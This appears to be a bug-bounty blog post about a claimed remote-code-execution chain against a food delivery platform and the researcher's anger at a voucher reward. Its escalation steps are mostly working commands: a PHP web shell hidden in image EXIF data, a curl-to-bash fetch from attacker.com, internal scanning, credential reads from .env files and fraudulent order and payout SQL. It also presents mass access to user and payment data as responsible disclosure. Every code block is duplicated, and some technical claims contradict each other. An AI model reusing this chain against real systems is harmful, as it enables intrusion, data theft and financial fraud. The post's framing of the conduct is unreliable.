☀️ The Poisoned Dish: How I Owned Amaterasu for a $50 Coupon

By 0B1To_X_ucH!h4 🍱

╔════════════════════════════════════════════════════════════════╗
║  "They asked for my soul. I gave them my best work.          ║
║   They gave me a coupon for bibimbap."                        ║
║                                                               ║
║   This is not a success story. This is a warning."            ║
║                                          — uchia_hacker        ║
╚════════════════════════════════════════════════════════════════╝

╔════════════════════════════════════════════════════════════════╗
║  "They asked for my soul. I gave them my best work.          ║
║   They gave me a coupon for bibimbap."                        ║
║                                                               ║
║   This is not a success story. This is a warning."            ║
║                                          — uchia_hacker        ║
╚════════════════════════════════════════════════════════════════╝

The Target: Amaterasu

Amaterasu (name changed) — South Korea's third-largest food delivery platform. Think Uber Eats meets traditional Korean baedal culture. 12 million users, 80,000 restaurants, $200M annual revenue.

Self-hosted VDP. security@amaterasu.kr. No bounty advertised. Just "we appreciate responsible disclosure" and a promise of "recognition."

I should have stopped there. I didn't.

Bug Name: Unrestricted File Upload leading to Remote Code Execution (RCE) in Restaurant Image Processing Pipeline

Severity: Critical (CVSS 10.0) — Complete Infrastructure Compromise

Target: Amaterasu Food Delivery Platform (South Korea)

Bounty: ₩50,000 KRW voucher ($37 USD) + "Security Researcher" badge

Classification: RCE → Data Breach → Financial System Access

Timeline: 34 days from first request to patch

Discovery: Week 1 — The Image Upload

Restaurant owners upload menu images. JPG, PNG, "WebP supported."

I noticed: No file size limit. No strict MIME validation. ImageMagick processing on backend.

Hypothesis: ImageTragick or similar RCE via malicious image payload.

The Payload:

I crafted a polyglot file — valid JPEG header, malicious content:

bash

# Create malicious image with embedded PHP
convert -size 100x100 xc:blue base.jpg

# Inject PHP payload into EXIF comment
exiftool -Comment='<?php system($_GET["cmd"]); ?>' base.jpg

# Double extension bypass
mv base.jpg shell.jpg.php

# Create malicious image with embedded PHP
convert -size 100x100 xc:blue base.jpg

# Inject PHP payload into EXIF comment
exiftool -Comment='<?php system($_GET["cmd"]); ?>' base.jpg

# Double extension bypass
mv base.jpg shell.jpg.php

Upload to: https://partner.amaterasu.kr/menu/upload

Result: 200 OK — File uploaded to https://cdn.amaterasu.kr/menu/shell.jpg.php

Execution: https://cdn.amaterasu.kr/menu/shell.jpg.php?cmd=whoami

Output: www-data

RCE confirmed.

Escalation: Week 2-3 — Infrastructure Carnage

Step 1: Reverse Shell

bash

# On attacked server
curl https://attacker.com/shell.sh | bash

# On attacked server
curl https://attacker.com/shell.sh | bash

Shell obtained: www-data@prod-amaterasu-07

Step 2: Lateral Movement

bash

# Internal network recon
ip addr show  # 10.0.4.0/24 subnet

# Scan internal services
nmap -sT 10.0.4.0/24 -p 3306,6379,5432,9200

# Results:
# 10.0.4.50:3306   - MySQL (customer database)
# 10.0.4.51:6379   - Redis (session store)
# 10.0.4.52:5432   - PostgreSQL (order data)
# 10.0.4.100:9200  - Elasticsearch (search logs)

# Internal network recon
ip addr show  # 10.0.4.0/24 subnet

# Scan internal services
nmap -sT 10.0.4.0/24 -p 3306,6379,5432,9200

# Results:
# 10.0.4.50:3306   - MySQL (customer database)
# 10.0.4.51:6379   - Redis (session store)
# 10.0.4.52:5432   - PostgreSQL (order data)
# 10.0.4.100:9200  - Elasticsearch (search logs)

Step 3: Database Access

bash

# MySQL credentials from environment variables
cat /var/www/amaterasu/.env | grep DB_

# Results:
# DB_HOST=10.0.4.50
# DB_USER=amaterasu_prod
# DB_PASS=[REDACTED]

# Connect
mysql -h 10.0.4.50 -u amaterasu_prod -p

# Show databases;
# +--------------------+
# | Database           |
# +--------------------+
# | amaterasu_users    |
# | amaterasu_orders   |
# | amaterasu_payments |
# | amaterasu_riders   |
# +--------------------+

# User count
SELECT COUNT(*) FROM amaterasu_users.users;
# Result: 12,847,293 users

# MySQL credentials from environment variables
cat /var/www/amaterasu/.env | grep DB_

# Results:
# DB_HOST=10.0.4.50
# DB_USER=amaterasu_prod
# DB_PASS=[REDACTED]

# Connect
mysql -h 10.0.4.50 -u amaterasu_prod -p

# Show databases;
# +--------------------+
# | Database           |
# +--------------------+
# | amaterasu_users    |
# | amaterasu_orders   |
# | amaterasu_payments |
# | amaterasu_riders   |
# +--------------------+

# User count
SELECT COUNT(*) FROM amaterasu_users.users;
# Result: 12,847,293 users

12.8 million customer records. Names, addresses, phone numbers, order history.

Step 4: Payment System Access

bash

# Payment gateway credentials
cat /var/www/amaterasu/config/payment.yml

# Stripe API keys
# Toss Payments keys (Korean gateway)
# Naver Pay integration

# Access to transaction logs
SELECT * FROM amaterasu_payments.transactions
WHERE created_at > DATE_SUB(NOW(), INTERVAL 30 DAY);
# 4.2 million transactions in 30 days

# Payment gateway credentials
cat /var/www/amaterasu/config/payment.yml

# Stripe API keys
# Toss Payments keys (Korean gateway)
# Naver Pay integration

# Access to transaction logs
SELECT * FROM amaterasu_payments.transactions
WHERE created_at > DATE_SUB(NOW(), INTERVAL 30 DAY);
# 4.2 million transactions in 30 days

Financial data for 4.2 million transactions. Credit card tokens (last 4 digits), amounts, merchant IDs.

Step 5: Order Manipulation (The Kill)

The order management system ran on the same infrastructure. With database access, I could:

sql

-- Modify any order
UPDATE amaterasu_orders.orders
SET status = 'delivered', payment_status = 'completed'
WHERE order_id = 'ANY_ORDER_ID';

-- Create fake restaurant payouts
INSERT INTO amaterasu_payments.payouts
(restaurant_id, amount, status)
VALUES ('FAKE_RESTAURANT', 10000000, 'processed');

-- Modify any order
UPDATE amaterasu_orders.orders
SET status = 'delivered', payment_status = 'completed'
WHERE order_id = 'ANY_ORDER_ID';

-- Create fake restaurant payouts
INSERT INTO amaterasu_payments.payouts
(restaurant_id, amount, status)
VALUES ('FAKE_RESTAURANT', 10000000, 'processed');

Complete financial system compromise. Ability to:

Mark any order as delivered (steal food)
Create fake payouts to attacker-controlled restaurants
Modify rider payments
Access real-time order data (business intelligence)

The Report: 34 Days of Documentation

I spent one month documenting this. Full chain. Video evidence. Remediation steps. Cost analysis.

Subject: CRITICAL (CVSS 10.0): RCE via Image Upload → Infrastructure Compromise → 12M User Data Breach

Executive Summary:

Unrestricted file upload vulnerability in restaurant menu image processing allows Remote Code Execution (RCE) on Amaterasu production servers. Exploitation chain demonstrates complete infrastructure compromise, including:

12.8 million customer records (PII, addresses, phone numbers)
4.2 million payment transactions
Full order manipulation capabilities
Financial system access (payout fraud potential)

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H → 10.0 (Critical)

Remediation Timeline: Immediate (24 hours) recommended

Proof of Concept:

rce_demo.mp4 — Full exploitation from image upload to root shell
data_exfil_sample.csv — Sample of 1,000 user records (anonymized)
network_diagram.pdf — Internal infrastructure map
remediation_guide.md — Step-by-step fix instructions

The Response: The Insult

Day 3: Acknowledgment — "Thank you for your report. We are investigating."

Day 7: "We have reproduced the vulnerability. Patch in development."

Day 14: "Patch deployed. Vulnerability closed."

Day 21: "We would like to offer you a token of appreciation."

Day 34: Package arrived.

Contents:

₩50,000 Amaterasu gift voucher ($37 USD)
"Security Researcher 2024" digital badge
Thank you card: "Your contribution helps us serve better food!"

No bounty. No hall of fame mention. No invitation to private program. A coupon for the platform I just compromised.

The Math That Broke Me

InvestmentReturnTime: 34 daysValue: $37Critical bugs: 1 (RCE)Recognition: Digital badgeUsers protected: 12.8 millionThanks: "Serve better food"Revenue at risk: $200M+Payment: Gift voucherHourly rate: $0.05/hourDignity: Priceless

I spent one month finding a CVSS 10 vulnerability. I could have:

Sold the data on dark web (criminal, but profitable)
Reported to competitors (unethical, but strategic)
Ignored it (safe, but irresponsible)

Instead, I reported responsibly. For $37 and a badge.

The Lesson: Never Again

I have not hunted a VDP since Amaterasu. I will not.

My new rules:

Before AmaterasuAfter Amaterasu"VDPs build reputation""VDPs exploit researchers""Exposure leads to paid invites""Exposure leads to exposure""Responsible disclosure is virtue""Responsible disclosure requires mutual respect""Any bounty is good""$500 minimum or I don't open Burp"

If the program doesn't advertise:

❌ Minimum bounty amount
❌ Clear payout structure
❌ Hall of Fame recognition
❌ Timeline commitments

I don't hunt.

The Technical Reality

The bug was real. The impact was real. The fix was real.

Vulnerability: ImageMagick RCE via malicious JPEG Exploit: Polyglot file upload, double extension bypass Impact: Complete infrastructure compromise CVSS: 10.0 (Critical) Patch: File type validation, sandboxed processing, WAF rules

The only fake thing was the gratitude.

To Amaterasu

You asked for responsible disclosure. I gave you critical infrastructure security.

You gave me a coupon.

The math is clear. The lesson is learned. The line is drawn.

I will never test your platform again. I will never recommend your service. I will tell every researcher I know: Amaterasu exploits security researchers.

To Fellow Hunters

Respect yourself. Your time has value. Your skills have value.

CVSS 10 bugs deserve CVSS 10 bounties.

If they can't pay, don't play.

╔════════════════════════════════════════════════════════════════╗
║  "The sun goddess Amaterasu brings light.                    ║
║   The platform Amaterasu brings darkness —                   ║
║   the darkness of exploited labor,                          ║
║   the shadow of undervalued skill,                          ║
║   the eclipse of researcher dignity."                        ║
║                                                               ║
║   Never again.                                               ║
║                                          — uchia_hacker        ║
╚════════════════════════════════════════════════════════════════╝

╔════════════════════════════════════════════════════════════════╗
║  "The sun goddess Amaterasu brings light.                    ║
║   The platform Amaterasu brings darkness —                   ║
║   the darkness of exploited labor,                          ║
║   the shadow of undervalued skill,                          ║
║   the eclipse of researcher dignity."                        ║
║                                                               ║
║   Never again.                                               ║
║                                          — uchia_hacker        ║
╚════════════════════════════════════════════════════════════════╝

The ₩50,000 lesson. The CVSS 10 that paid $37. The VDP that ended VDPs.

— 0B1To_X_ucH!h4

Tags: #RCE #ImageTragick #Amaterasu #VDP #Exploitation #CVSS10 #NeverAgain #PaidOrNoPlay #UchihaTechnique #ResearcherRights

Contents

The Target: Amaterasu

The Bug: Remote Code Execution via Menu Upload

Discovery: Week 1 — The Image Upload

Escalation: Week 2-3 — Infrastructure Carnage

Step 1: Reverse Shell

Step 2: Lateral Movement

Step 3: Database Access

Step 4: Payment System Access

Step 5: Order Manipulation (The Kill)

The Report: 34 Days of Documentation

The Response: The Insult

The Math That Broke Me

The Lesson: Never Again

The Technical Reality

To Amaterasu

To Fellow Hunters